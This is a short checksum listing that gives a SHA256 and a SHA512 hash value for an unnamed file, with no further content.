SHA256a4ec868d4cd51bcab753ecafac734dc13b356d5f7ad0f3f050b6fea6e7b2d4ae
SHA5127e90d08db5868f2f9ba8ab959112bc50c384c3600a60a8685bd292ea684d72ca2327655ad7c253126f5b5c4227beefeef0943797b95fd2fbf925356fe59818b6